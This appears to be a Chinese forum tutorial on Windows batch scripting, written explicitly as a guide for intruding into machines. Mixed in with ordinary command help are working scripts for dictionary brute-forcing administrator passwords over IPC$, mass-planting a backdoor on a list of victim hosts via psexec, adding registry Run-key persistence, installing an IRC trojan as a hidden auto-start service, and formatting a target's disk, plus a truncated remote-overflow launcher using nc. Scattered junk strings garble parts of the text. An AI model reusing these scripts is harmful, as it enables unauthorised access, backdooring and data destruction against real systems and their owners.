实用CMD简单教学 (帖子很长 但是值得一看)

一.简单批处理内部命令简介

1.Echo 命令

打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。

语法

echo [{on|off}] [message]

Sample：@echo off / echo hello world

在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令

表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。

Sample：@echo off

@echo Now initializing the program,please wait a minite…

@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)

& a! w2 O+ W3 z$ ~3 c; `' H& m, ^

3.Goto 命令

指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。

语法：goto label （label是参数，指定所要转向的批处理程序中的行。）

Sample：

if {%1}=={} goto noparms

if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

% X! n6 O: l- L0 n; Q+ a! B

4.Rem 命令

注释命令，在C语言中相当与/*——–*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。

Rem Message

Sample：@Rem Here is the description.

3 J5 G6 i2 n+ M- ?& g* t' R

5.Pause 命令

运行 Pause 命令时，将显示下面的消息：

Press any key to continue . . .

Sample：

@echo off

:begin

copy a:*.* d：back

echo Please put a new disk into driver A

pause

goto begin

在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。

6.Call 命令

从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。

语法

call [Drive:][Path] FileName [BatchParameters] [:label [arguments]

参数

[Drive:}[Path] FileName

指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令

调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。

入侵常用参数：

MIN 开始时窗口最小化

SEPARATE 在分开的空间内开始 16 位 Windows 程序

HIGH 在 HIGH 优先级类别开始应用程序

REALTIME 在 REALTIME 优先级类别开始应用程序

WAIT 启动应用程序并等候它结束

parameters 这些为传送到命令/程序的参数

执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。

8.choice 命令

choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……

如: choice /c:dme defrag,mem,end

将显示

defrag,mem,end[D,M,E]?

Sample：

Sample.bat的内容如下:

@echo off

choice /c:dme defrag,mem,end

if errorlevel 3 goto defrag （应先判断数值最高的错误码）

if errorlevel 2 goto mem

if errotlevel 1 goto end

:defrag

c:dosdefrag

goto end

:mem

mem

goto end

:end

echo good bye

9 z) F) B, d+ L+ k: V

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都 以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。

9.If 命令

$ m0 q6 R6 u; }" |- d5 V$ o

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:

1、if “参数” == “字符串” 　待执行的命令

参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）

如if “%1″==”a” format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

. n; e* B1 b+ O: q1 Y6 I

2、if exist 文件名　 待执行的命令

如果有指定的文件，则条件成立，运行命令，否则运行下一句。

如if exist config.sys edit config.sys

2 o" ^2 C, v/ {8 E6 g3 N

3、if errorlevel / if not errorlevel 数字　 待执行的命令

如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。

如if errorlevel 2 goto x2

DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。

3 b6 U$ b8 V+ w7 R

10.for 命令

for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。

在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]

%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters 为特定命令指定参数或命令行开关。

在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I

4 E8 _" W# w; m6 A

如果命令扩展名被启用，下列额外的 FOR 命令格式会受到

支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，则指定与目录名匹配，而不与文件

名匹配。

( f5 L( \0 z- |+ j& ?7 k& ?: C6 `

FOR /R [drive:]path] %variable IN (set) DO command [command-

8 Z6 a% b+ D2 U) G/ i) B  D9 x

检查以 [drive:]path 为根的目录树，指向每个目录中的

FOR 语句。如果在 /R 后没有指定目录，则使用当前

目录。如果集仅为一个单点(.)字符，则枚举该目录树。

9 D) z3 `5 K& T9 Y

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。

因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生

序列 (5 4 3 2 1)。

( y: ~; E  y4 B3 j, n  g3 _4 X

FOR /F [“options”] %variable IN (file-set) DO command

FOR /F [“options”] %variable IN (“string”) DO command

FOR /F [“options”] %variable IN (‘command’) DO command

5 Y& D/ [: _1 Y$ y# |4 F4 x6 @

或者，如果有 usebackq 选项:

FOR /F [“options”] %variable IN (file-set) DO command

FOR /F [“options”] %variable IN (“string”) DO command

FOR /F [“options”] %variable IN (‘command’) DO command

6 q% f+ @' {9 R- Z

filenameset 为一个或多个文件名。继续到 filenameset 中的

下一个文件之前，每份文件都已被打开、读取并经过处理。

处理包括读取文件，将其分成一行行的文字，然后将每行

解析成零或更多的符号。然后用已找到的符号字符串变量值

调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开

的第一个空白符号。跳过空白行。您可通过指定可选 “options”

参数替代默认解析操作。这个带引号的字符串包括一个或多个

指定不同解析选项的关键字。这些关键字为:

eol=c – 指一个行注释字符的结尾(就一个)

skip=n – 指在文件开始时忽略的行数。

delims=xxx – 指分隔符集。这个替换了空格和跳格键的

默认分隔符集。

tokens=x,y,m-n – 指每行的哪一个符号被传递到每个迭代

的 for 本身。这会导致额外变量名称的

格式为一个范围。通过 nth 符号指定 m

符号字符串中的最后一个字符星号，

那么额外的变量将在最后一个符号解析之

分配并接受行的保留文本。

usebackq – 指定新语法已在下类情况中使用:

在作为命令执行一个后引号的字符串并且

引号字符为文字字符串命令并允许在 fi

中使用双引号扩起文件名称。

sample1:

FOR /F “eol=; tokens=2,3* delims=, ” %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将

每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或

空格定界符号。请注意，这个 for 程序体的语句引用 %i 来

取得第二个符号，引用 %j 来取得第三个符号，引用 %k

来取得第三个符号后的所有剩余符号。对于带有空格的文件

名，您需要用双引号将文件名括起来。为了用这种方式来使

用双引号，您还需要使用 usebackq 选项，否则，双引号会

被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明，%j 和 %k 是通过

tokens= 选项专门得到说明的。您可以通过 tokens= 一行

指定最多 26 个符号，只要不试图说明一个高于字母 ‘z’ 或

‘Z’ 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；

同时不能有 52 个以上都在使用中。

! p2 ^. Q2 S1 |: G

您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，

用单引号将括号之间的 filenameset 括起来。这样，该字符

串会被当作一个文件中的一个单一输入行。

最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将

括号之间的 filenameset 变成一个反括字符串。该字符串会

被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进

内存，并被当作文件分析。因此，以下例子:

FOR /F “usebackq delims==” %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

- T. k& B2 Y3 \1 d  T& N& T/ f

另外，FOR 变量参照的替换已被增强。您现在可以使用下列

选项语法:

~I – 删除任何引号(“)，扩充 %I

%~fI – 将 %I 扩充到一个完全合格的路径名

%~dI – 仅将 %I 扩充到一个驱动器号

%~pI – 仅将 %I 扩充到一个路径

%~nI – 仅将 %I 扩充到一个文件名

%~xI – 仅将 %I 扩充到一个文件扩展名

%~sI – 扩充的路径只含有短名

%~aI – 将 %I 扩充到文件的文件属性

%~tI – 将 %I 扩充到文件的日期/时间

%~zI – 将 %I 扩充到文件的大小

%~$PATH:I – 查找列在路径环境变量的目录，并将 %I 扩充

到找到的第一个完全合格的名称。如果环境变量

未被定义，或者没有找到文件，此组合键会扩充

空字符串

  n5 R$ v  z4 t* _

可以组合修饰符来得到多重结果:

: [6 ~) A3 w# m( ^5 [$ L1 x1 j

%~dpI – 仅将 %I 扩充到一个驱动器号和路径

%~nxI – 仅将 %I 扩充到一个文件名和扩展名

%~fsI – 仅将 %I 扩充到一个带有短名的完整路径名

%~dp$PATH:i – 查找列在路径环境变量的目录，并将 %I 扩充

到找到的第一个驱动器号和路径。

%~ftzaI – 将 %I 扩充到类似输出线路的 DIR

6 ]/ o0 j# R4 `  X- m: I7 Y% u; q

在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法

用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名

比较易读，而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2：

9 R! l# ~  \( S, L9 d( O

利用For命令来实现对一台目标Win2k主机的暴力密码破解。

我们用net use \ipipc$ “password” /u:”administrator”来尝试这和目标主机进行连接，当成功时记下密码。

最主要的命令是一条：for /f i% in (dict.txt) do net use \ipipc$ “i%” /u:”administrator”

用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－

for /f i%% in (dict.txt) do net use \ipipc$ “i%%” /u:”administrator”|find “:命令成功完成”>>D:ok.txt ，这样就ko了。

9 y* t/ ]5 }- q+ S' g2 Z  k4 g

sample3：

8 x8 H9 `$ e; O+ w" L

你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。

主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）

@for /f “tokens=1,2,3 delims= ” %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。

而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。

delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。

代码雏形：

————— cut here then save as a batchfile(I call it main.bat ) —————————

@echo off

@if “%1″==”” goto usage

@for /f “tokens=1,2,3 delims= ” %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

————— cut here then save as a batchfile(I call it main.bat ) —————————

! D( T- v/ w8 F  ?1 i

——————- cut here then save as a batchfile(I call it door.bat) —————————–

@net use \%1ipc$ %3 /u:”%2″

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection …………OK

@copy windrv32.exe\%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

@p***ec \%1 c:winntsystem32windrv32.exe

@p***ec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

—————– cut here then save as a batchfile(I call it door.bat) ——————————–

这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,P***ec.exe需放在统一目录下.批处理内容

尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

# ?, o$ l9 R$ U4 T: o

二.如何在批处理文件中使用参数

批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。

sample1：fomat.bat

@echo off

if “%1″==”a” format a:

:format

@format a:/q/u/auotset

@echo please insert another disk to driver A.

@pause

@goto fomat

这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^

sample2：

当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。

@echo off

@net use \1%ipc$ “2%” /u:”3%” 注意哦，这里PASSWORD是第二个参数。

@if errorlevel 1 echo connection failed

怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.

三.如何使用组合命令(Compound Command)

& f3 `) Y3 w; E* E

1.&

3 j& w" d1 ^+ }4 n% o, j/ ]

Usage：第一条命令 & 第二条命令 [& 第三条命令…]

0 a. F+ f7 P+ N5 s

用这种方法可以同时执行多条命令，而不管命令是否执行成功

Sample：

C:>dir z: & dir c:Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

, I. W, S" m& r6 V7 A

Directory of c:Ex4rch

2002-05-14 23:51

.

2002-05-14 23:51

..

2002-05-14 23:51 14 sometips.gif

  L- h% ~/ J6 h7 E9 T/ w- W5 E

2.&&

Usage：第一条命令 && 第二条命令 [&& 第三条命令…]

用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；

Sample：

C:>dir z: && dir c:Ex4rch

The system cannot find the path specified.

4 `" I4 j5 D7 x; i

C:>dir c:Ex4rch && dir z:

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

" X" X4 \+ g' _$ ~% ~, p

Directory of c:Ex4rch

! m% C  Q! e7 N9 R5 o  }

2002-05-14 23:55

.

2002-05-14 23:55

..

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单，如：

dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup

如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 ：）

% ?  d. t) D& z6 o

3.||

Usage：第一条命令 || 第二条命令 [|| 第三条命令…]

/ C& L1 B" t4 C( X$ Z. i5 s2 n

用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

( R8 R, Z, x! t

Sample：

C:Ex4rch>dir sometips.gif || del sometips.gif

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

+ k' c3 h8 x- w

Directory of C:Ex4rch

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free

组合命令使用的例子：

sample：

@copy trojan.exe \%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1.| 命令

Usage：第一条命令 | 第二条命令 [| 第三条命令…]

将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。

& t# t8 {! c( ]6 `8 d& V( T. Q

sample：

time /t>>D:IP.log

netstat -n -p tcp|find “:3389”>>D:IP.log

start Explorer

看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。

2.>、>>输出重定向命令

将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于，>会清除调原有文件中的内容后写入指定文件，而>>只会追加内容到指定文件中，而不会改动其中的内容。

3 u# T$ L4 ?4 C& X1 l! c

sample1：

echo hello world>c:hello.txt (stupid example?)

sample2:

时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：

运行CMD–转换目录到system32–dir *.exe>exeback.txt & dir *.dll>dllback.txt,

这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,

日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.

这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:

CMD–fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能 发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如 果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.< 、>& 、<&

< 从文件中而不是从键盘中读入命令输入。

>& 将一个句柄的输出写入到另一个句柄的输入中。

<& 从一个句柄读取输入并将其写入到另一个句柄输出中。

这些并不常用，也就不多做介绍。

五.如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如: 为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都 需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)

关于注册表的操作，常见的是创建、修改、删除。

' J6 W1 D" W7 [" D

1.创建

创建分为两种，一种是创建子项(Subkey)

我们创建一个文件，内容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]

然后执行该脚本，你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。

另一种是创建一个项目名称

那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：

Windows Registry Editor Version 5.00

  \8 c5 Q8 m. ~$ z4 ^! P[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

“Invader”=”Ex4rch”

“Door”=C:\WINNT\system32\door.exe

“Autodos”=dword:02

/ R+ x) c: T9 G- G  ]% m7 K8 v

这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下

新建了:Invader、door、about这三个项目

Invader的类型是“String Value”

door的类型是“REG SZ Value”

Autodos的类型是“DWORD Value”

3 ]" \5 N+ u9 v1 u+ _1 D8 s

2.修改

修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。

, V) ~2 y5 @  |8 |

3.删除

我们首先来说说删除一个项目名称，我们创建一个如下的文件：

; @; Q# B3 Z+ g1 v' K' |

Windows Registry Editor Version 5.00

( a. w+ {% H% E[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

“Ex4rch”=-

; h5 L% l% |0 z7 F

执行该脚本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的”Ex4rch”就被删除了；

7 D+ Q- E  N/ P4 E- m

我们再看看删除一个子项，我们创建一个如下的脚本：

Windows Registry Editor Version 5.00

' I! Z: @3 m4 T6 k1 x$ b! s+ {4 U3 o; S[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

执行该脚本，[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。

相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如下注册表文件

Windows Registry Editor Version 5.00

4 K0 ?( D3 O# e$ d[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

“Invader”=”Ex4rch”

“door”=hex:255

“Autodos”=dword:000000128

只需要这样：

@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg

@echo “Invader”=”Ex4rch”>>Sample.reg

@echo “door”=5>>C:\WINNT\system32\door.exe>>Sample.reg

@echo “Autodos”=dword:02>>Sample.reg

5 G3 R1 C- M7 u

samlpe2:

我们现在在使用一些比较老的木马时, 可能会在注册表的 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、 Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将 木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll

@echo “windsnx “=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe

@regedit /s patch.dll

@delete patch.dll

1 ]' ?, c* i$ L  q, K$ m: g1 ?+ b

@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键**的同时将其属性设为隐藏和只读，并config为自启动]

@REM 这样不是更安全^_^.

六.精彩实例放送。

1.删除win2k/xp系统默认共享的批处理

$ R5 L( C' n* O0 q; M/ R- `

: V  f9 k6 o; {$ P3 @, k
7 u' U8 ]9 M; C% ~  }
& w; c( i9 F8 c* v
- G( a$ j' j0 g" T6 m
+ X) t* x3 z( q5 G3 d
8 g  V# B7 C% E3 R

win2k下的批处理BAT文件运用

日期：星期三 2004 03 10 作者： 人气： 1478 查看:[大字体 中字体小字体]

• 所有内置命令的帮助信息
• 环境变量的概念
• 内置的特殊符号(实际使用中间注意避开)
• 简单批处理文件概念
• 附件1 tmp.txt
• 附件2 sample.bat
  ) ~, A5 P6 \4 M  p6 g& a! E

: Y9 l% d; V. a2 m$ p9 B- `. @# ]1 ~

######################################################################

• 所有内置命令的帮助信息
  

######################################################################

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

______________________________________________________________________

下面将所有上面的帮助输出到一个文件

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

______________________________________________________

5 K9 x, s; E% I7 B: X2 @; O

######################################################################

• 环境变量的概念
  

######################################################################

_____________________________________________________________________________

C:\Program Files>set

ALLUSERSPROFILE=C:\Documents and Settings\All Users

CommonProgramFiles=C:\Program Files\Common Files

COMPUTERNAME=FIRST

ComSpec=C:\WINNT\system32\cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:\WINNT\system32\os2\dll;

Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0605

ProgramFiles=C:\Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:\WINNT

TEMP=C:\WINNT\TEMP

TMP=C:\WINNT\TEMP

USERPROFILE=C:\Documents and Settings\Default User

windir=C:\WINNT

_____________________________________________________________________________

5 d$ T$ H1 X7 G  p+ `7 t

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到

%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.

语法: copy mychenxu.exe %windir%\system32\.

使用点(.) 便于一目了然

对环境变量的引用使用(英文模式,半角)双引号

%windir% 变量

%%windir%% 二次变量引用.

我们常用的还有

%temp% 临时文件目录

%windir% 系统目录

%errorlevel% 退出代码

5 X. ]/ O/ p* c$ e' l

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号(“”) 来表示比如对porgram file文件夹操作

C:\>dir p*

C:\ 的目录

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47

Program Files

1 个文件 2,164 字节

1 个目录 1,505,997,824 可用字节

C:\>cd pro*

C:\Program Files>

" u  L. d- i* _% ^

C:\>

C:\>cd “Program Files”

C:\Program Files>

  J" v3 ~) l5 U; T. @
8 Q1 s0 n" I8 |" x( s, |

######################################################################

• 内置的特殊符号(实际使用中间注意避开)
  & b. Q; q5 Y" S2 i* E1 O

######################################################################

微软里面内置了下列字符不能够在创建的文件名中间使用

con nul aux \ / | || && ^ > < *

7 Q4 k7 F1 R' e) n

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号””了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value “new&name”, type:

set varname=”new&name”

7 O; P2 e" q/ r% z% O

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

# b6 Q2 m$ Z! b) n

find “Pacific Rim” < trade.txt > nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

# S/ a5 b5 A( B, U0 B

> 创建一个文件

>> 追加到一个文件后面

@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示

^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() 包含命令

(echo aa & echo bb)

, 和空格一样的缺省分隔符号.

; 注释,表示后面为注释

: 标号作用

| 管道操作

& Usage：第一条命令 & 第二条命令 [& 第三条命令…]

用这种方法可以同时执行多条命令，而不管命令是否执行成功

dir c:\*.exe & dir d:\*.exe & dir e:\*.exe

&& Usage：第一条命令 && 第二条命令 [&& 第三条命令…]

当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；

|| Usage：第一条命令 || 第二条命令 [|| 第三条命令…]

当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

" ]% _# p* q5 n" w

常用语法格式

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF “%1″==”” goto END

IF “%1″==”net” goto NET

IF NOT “%2″==”net” goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F “eol=; tokens=2,3* delims=, ” %i in (myfile.txt) do echo %i %j %k

按照字母顺序 ijklmnopq依次取参数.

eol=c – 指一个行注释字符的结尾(就一个)

skip=n – 指在文件开始时忽略的行数。

delims=xxx – 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

5 u) H: u9 F5 f0 A0 J, ~

######################################################################

• 简单批处理文件概念
  

######################################################################

; U4 |, x8 K0 |' G$ G' L$ k& y

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

第二个echo是追加

第三个echo将清空a.txt 重新创建 a.txt

! [, `) Q( `' A7 y4 U+ H1 c

netstat -n | find “3389”

这个将要列出所有连接3389的用户的ip.

, V+ ]5 k5 E* w

________________test.bat___________________________________________________

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不显示注释语句,本行显示

@rem 不显示注释语句,本行不显示

@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

___________________________________________________________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_________________________________________________

@rem ver 1.0

@if NOT exist %windir%\system32\idahack.exe echo “ERROR: dont find idahack.exe”

@if NOT exist %windir%\system32\nc.exe echo “ERROR: dont find nc.exe”

# H% w- g. ^5 D5 T" z# H6 k) n" X

@if “%1″ ==”” goto USAGE

@if NOT “%2″ ==”” goto SP2

1 s% u* J! g6 w- r0 Z) ?! v& w

tart

@echo Now start …

@ping %1

